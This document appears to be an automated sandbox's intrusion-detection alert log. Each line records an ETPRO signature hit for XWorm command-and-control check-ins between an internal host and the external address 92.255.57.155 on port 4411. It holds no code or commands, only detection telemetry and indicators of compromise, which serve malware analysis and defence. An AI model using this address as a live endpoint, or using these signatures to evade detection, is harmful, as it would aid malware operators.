2024-12-18T08:17:18.299294+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:18.299374+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:18.405983+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:19.250639+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:19.251664+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:19.849399+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:19.850480+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.040239+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.089696+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.459478+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.502020+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.650444+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.651923+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.813850+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.817124+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.841668+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:20.940927+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:20.962643+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:21.102061+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.092071+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.093023+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.283164+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.334060+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.404575+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.456582+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.756162+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.757469+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.887452+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:22.888430+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:22.948714+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:23.050075+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:23.731041+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:23.740260+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:23.922125+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:23.941869+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:25.201488+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:25.205185+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:25.392435+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:25.421278+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:27.733469+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:27.757989+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:27.952032+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:27.952931+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:28.184035+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:28.184904+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:28.263893+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:28.304628+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:28.636091+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:28.826388+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:28.827348+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.007625+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.127280+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.138146+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:29.257997+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.602159+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:29.664861+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:29.893022+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:30.084272+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:30.168343+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:30.275333+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:30.275492+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:30.941907+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:30.969041+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:31.561427+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:31.562417+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:31.811433+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:31.825731+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:32.169078+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:32.170097+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:32.466178+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:32.482666+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:32.657055+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:32.661946+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:32.888074+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:32.899698+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:33.842355+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:33.985561+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.033388+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.176810+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.298071+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.344357+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.369268+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.370054+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.462123+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.487532+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.489622+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.610002+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.661087+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.772953+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.782107+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:34.971946+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:34.973565+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:35.814048+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:35.814970+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:36.004018+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:36.298214+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:36.393762+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:36.489312+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:36.516082+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:36.584703+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:36.635730+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:39.420306+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:39.421289+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:39.613976+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:39.701496+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:40.022119+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:40.022972+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:40.319555+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:40.327332+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:40.627225+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:40.671100+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:41.780411+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:41.781321+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:42.030027+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:42.030867+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:42.654781+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:42.655669+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:43.259093+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:43.260221+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:45.764249+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:45.923231+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.116234+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.138020+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.207798+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.235976+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.427165+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.430778+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.660408+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.709757+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:46.862470+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:46.891939+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:47.083075+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:47.102141+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:47.905593+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:47.906861+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:48.140267+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:48.231733+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:48.545135+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:48.546132+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:48.833927+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:48.837987+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:49.024484+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:49.028773+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:49.148943+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:49.149989+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:49.842292+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:49.889402+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.033438+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.153355+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.153495+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.319790+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.436716+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.464309+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.511018+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.511138+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.596929+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:50.849597+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:50.853991+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:52.014208+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:52.015176+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:52.141800+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:52.325980+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
2024-12-18T08:17:52.420644+0100	2852923	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	1	192.168.2.8	49708	92.255.57.155	4411	TCP
2024-12-18T08:17:52.624952+0100	2852870	ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes	1	92.255.57.155	4411	192.168.2.8	49708	TCP
